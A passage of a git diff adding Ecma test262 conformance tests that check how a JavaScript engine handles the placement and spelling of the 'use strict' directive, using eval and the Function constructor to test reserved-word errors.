+ 'use strict';
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return true;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-15-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-15-s.js
new file mode 100644
index 000000000..b7f7664f5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-15-s.js
@@ -0,0 +1,26 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-15-s.js
+ * @description Strict Mode - Function code that is part of a FunctionDeclaration is strict function code if FunctionDeclaration is contained in use strict
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ function fun() {
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+
+ return fun();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-16-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-16-s.js
new file mode 100644
index 000000000..35ef8803f
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-16-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-16-s.js
+ * @description Strict Mode - Function code that is part of a FunctionExpression is strict function code if FunctionExpression is contained in use strict
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ return function () {
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ } ();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-17-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-17-s.js
new file mode 100644
index 000000000..976e644fe
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-17-s.js
@@ -0,0 +1,30 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-17-s.js
+ * @description Strict Mode - Function code that is part of a Accessor PropertyAssignment is in Strict Mode if Accessor PropertyAssignment is contained in use strict(getter)
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ var obj = {};
+ Object.defineProperty(obj, "accProperty", {
+ get: function () {
+ eval("public = 1;");
+ return 11;
+ }
+ });
+
+ var temp = obj.accProperty === 11;
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-18-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-18-s.js
new file mode 100644
index 000000000..b384ebfe5
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-18-s.js
@@ -0,0 +1,31 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-18-s.js
+ * @description Strict Mode - Function code that is part of a Accessor PropertyAssignment is in Strict Mode if Accessor PropertyAssignment is contained in use strict(setter)
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ var obj = {};
+ var data = "data";
+ Object.defineProperty(obj, "accProperty", {
+ set: function (value) {
+ eval("var public = 1;");
+ data = value;
+ }
+ });
+
+ obj.accProperty = "overrideData";
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && data === "data";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-19-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-19-s.js
new file mode 100644
index 000000000..6643ec7f1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-19-s.js
@@ -0,0 +1,25 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-19-s.js
+ * @description Strict Mode - Function code of a FunctionDeclaration contains Use Strict Directive which appears at the start of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ function fun() {
+ "use strict";
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+ return fun();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-2-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-2-s.js
new file mode 100644
index 000000000..42e6bce78
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-2-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-2-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict'' which lost the last character ';'
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict"
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-20-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-20-s.js
new file mode 100644
index 000000000..cc30e88e6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-20-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-20-s.js
+ * @description Strict Mode - Function code of a FunctionDeclaration contains Use Strict Directive which appears in the middle of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ function fun() {
+ eval("var public = 1;");
+ "use strict";
+ return public === 1;
+ }
+ return fun();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-21-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-21-s.js
new file mode 100644
index 000000000..6c0245461
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-21-s.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-21-s.js
+ * @description Strict Mode - Function code of a FunctionDeclaration contains Use Strict Directive which appears at the end of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ function fun() {
+ eval("var public = 1;");
+ return public === 1;
+ "use strict";
+ }
+ return fun();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-22-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-22-s.js
new file mode 100644
index 000000000..875ad9780
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-22-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-22-s.js
+ * @description Strict Mode - Function code of a FunctionExpression contains Use Strict Directive which appears at the start of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ return function () {
+ "use strict";
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ } ();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-23-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-23-s.js
new file mode 100644
index 000000000..680e928cd
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-23-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-23-s.js
+ * @description Strict Mode - Function code of a FunctionExpression contains Use Strict Directive which appears in the middle of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ return function () {
+ eval("var public = 1;");
+ return public === 1;
+ "use strict";
+ } ();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-24-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-24-s.js
new file mode 100644
index 000000000..ef67dbe59
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-24-s.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-24-s.js
+ * @description Strict Mode - Function code of a FunctionExpression contains Use Strict Directive which appears at the end of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ return function () {
+ eval("var public = 1;");
+ "use strict";
+ return public === 1;
+ } ();
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-25-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-25-s.js
new file mode 100644
index 000000000..206518f72
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-25-s.js
@@ -0,0 +1,29 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-25-s.js
+ * @description Strict Mode - Function code of Accessor PropertyAssignment contains Use Strict Directive which appears at the start of the block(getter)
+ * @noStrict
+ */
+
+
+function testcase() {
+ try {
+ var obj = {};
+ Object.defineProperty(obj, "accProperty", {
+ get: function () {
+ "use strict";
+ eval("var public = 1;");
+ return 11;
+ }
+ });
+ var temp = obj.accProperty === 11;
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-26-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-26-s.js
new file mode 100644
index 000000000..9da18136b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-26-s.js
@@ -0,0 +1,32 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-26-s.js
+ * @description Strict Mode - Function code of Accessor PropertyAssignment contains Use Strict Directive which appears at the start of the block(setter)
+ * @noStrict
+ */
+
+
+function testcase() {
+ try {
+ var obj = {};
+ var data = "data";
+ Object.defineProperty(obj, "accProperty", {
+ set: function (value) {
+ "use strict";
+ eval("var public = 1;");
+ data = value;
+ }
+ });
+
+ obj.accProperty = "overrideData";
+
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError && data === "data";
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-27-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-27-s.js
new file mode 100644
index 000000000..94b01f5af
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-27-s.js
@@ -0,0 +1,24 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-27-s.js
+ * @description Strict Mode - Function code of Accessor PropertyAssignment contains Use Strict Directive which appears in the middle of the block(getter)
+ * @noStrict
+ */
+
+
+function testcase() {
+ var obj = {};
+ Object.defineProperty(obj, "accProperty", {
+ get: function () {
+ eval("public = 1;");
+ "use strict";
+ return 11;
+ }
+ });
+ return obj.accProperty === 11 && public === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-28-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-28-s.js
new file mode 100644
index 000000000..f3ebe7d11
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-28-s.js
@@ -0,0 +1,27 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-28-s.js
+ * @description Strict Mode - Function code of Accessor PropertyAssignment contains Use Strict Directive which appears at the end of the block(setter)
+ * @noStrict
+ */
+
+
+function testcase() {
+ var obj = {};
+ var data;
+
+ Object.defineProperty(obj, "accProperty", {
+ set: function (value) {
+ var _10_1_1_28_s = {a:1, a:2};
+ data = value;
+ "use strict";
+ }
+ });
+ obj.accProperty = "overrideData";
+ return data==="overrideData";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-29-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-29-s.js
new file mode 100644
index 000000000..9745777b1
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-29-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-29-s.js
+ * @description Strict Mode - The built-in Function constructor is contained in use strict code
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ var funObj = new Function("a", "eval('public = 1;');");
+ funObj();
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-2gs.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-2gs.js
new file mode 100644
index 000000000..dd30cb215
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-2gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-2gs.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict'' which lost the last character ';'
+ * @noStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict"
+throw NotEarlyError;
+var public = 1;
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-3-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-3-s.js
new file mode 100644
index 000000000..8c4e4fb5d
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-3-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-3-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is '' use strict';' which the first character is space
+ * @noStrict
+ */
+
+
+function testcase() {
+ " use strict";
+ var public = 1;
+
+ return public === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-30-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-30-s.js
new file mode 100644
index 000000000..79c68e7c2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-30-s.js
@@ -0,0 +1,22 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-30-s.js
+ * @description Strict Mode - Function code of built-in Function constructor contains Use Strict Directive which appears at the start of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ try {
+ var funObj = new Function("a", "'use strict'; eval('public = 1;');");
+ funObj();
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-31-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-31-s.js
new file mode 100644
index 000000000..21c84976b
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-31-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-31-s.js
+ * @description Strict Mode - Function code of built-in Function constructor contains Use Strict Directive which appears in the middle of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ var funObj = new Function("a", "eval('public = 1;'); 'use strict'; anotherVariable = 2;");
+ funObj();
+ return public === 1 && anotherVariable === 2;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-32-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-32-s.js
new file mode 100644
index 000000000..a7cbc1d8c
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-32-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-32-s.js
+ * @description Strict Mode - Function code of built-in Function constructor contains Use Strict Directive which appears at the end of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ var funObj = new Function("a", "eval('public = 1;'); anotherVariable = 2; 'use strict';");
+ funObj();
+ return public === 1 && anotherVariable === 2;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-4-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-4-s.js
new file mode 100644
index 000000000..3d7db1862
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-4-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-4-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict ';' which the last character is space
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict ";
+ var public = 1;
+ return public === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-5-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-5-s.js
new file mode 100644
index 000000000..6a9f07af4
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-5-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-5-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict';' which appears at the beginning of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-5gs.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-5gs.js
new file mode 100644
index 000000000..63698e5e6
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-5gs.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-5gs.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict';' which appears at the start of the code
+ * @noStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+throw NotEarlyError;
+var public = 1;
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-6-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-6-s.js
new file mode 100644
index 000000000..6434c2515
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-6-s.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-6-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict';' which appears in the middle of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ var interface = 2;
+ "use strict";
+ var public = 1;
+ return public === 1 && interface === 2;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-7-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-7-s.js
new file mode 100644
index 000000000..42b5e1ee2
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-7-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-7-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict';' which appears at the end of the block
+ * @noStrict
+ */
+
+
+function testcase() {
+ var public = 1;
+ return public === 1;
+ "use strict";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-8-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-8-s.js
new file mode 100644
index 000000000..3fc4df80e
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-8-s.js
@@ -0,0 +1,23 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-8-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict';' which appears twice in the directive prologue
+ * @noStrict
+ */
+
+
+function testcase() {
+ "use strict";
+ "use strict";
+ try {
+ eval("var public = 1;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-8gs.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-8gs.js
new file mode 100644
index 000000000..88476ac4a
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-8gs.js
@@ -0,0 +1,17 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-8gs.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''use strict';' which appears twice in the code
+ * @noStrict
+ * @negative ^((?!NotEarlyError).)*$
+ */
+
+"use strict";
+"use strict";
+throw NotEarlyError;
+var public = 1;
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-9-s.js b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-9-s.js
new file mode 100644
index 000000000..b294ef146
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/10.1.1-9-s.js
@@ -0,0 +1,18 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch10/10.1/10.1.1/10.1.1-9-s.js
+ * @description Strict Mode - Use Strict Directive Prologue is ''Use strict';' in which the first character is uppercase
+ * @noStrict
+ */
+
+
+function testcase() {
+ "Use strict";
+ var public = 1;
+ return public === 1;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/browser.js b/js/src/tests/test262/ch10/10.1/10.1.1/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/browser.js
diff --git a/js/src/tests/test262/ch10/10.1/10.1.1/shell.js b/js/src/tests/test262/ch10/10.1/10.1.1/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/10.1.1/shell.js
diff --git a/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T1.js b/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T1.js
new file mode 100644
index 000000000..4085aa5ac
--- /dev/null
+++ b/js/src/tests/test262/ch10/10.1/S10.1.1_A1_T1.js
@@ -0,0 +1,18 @@
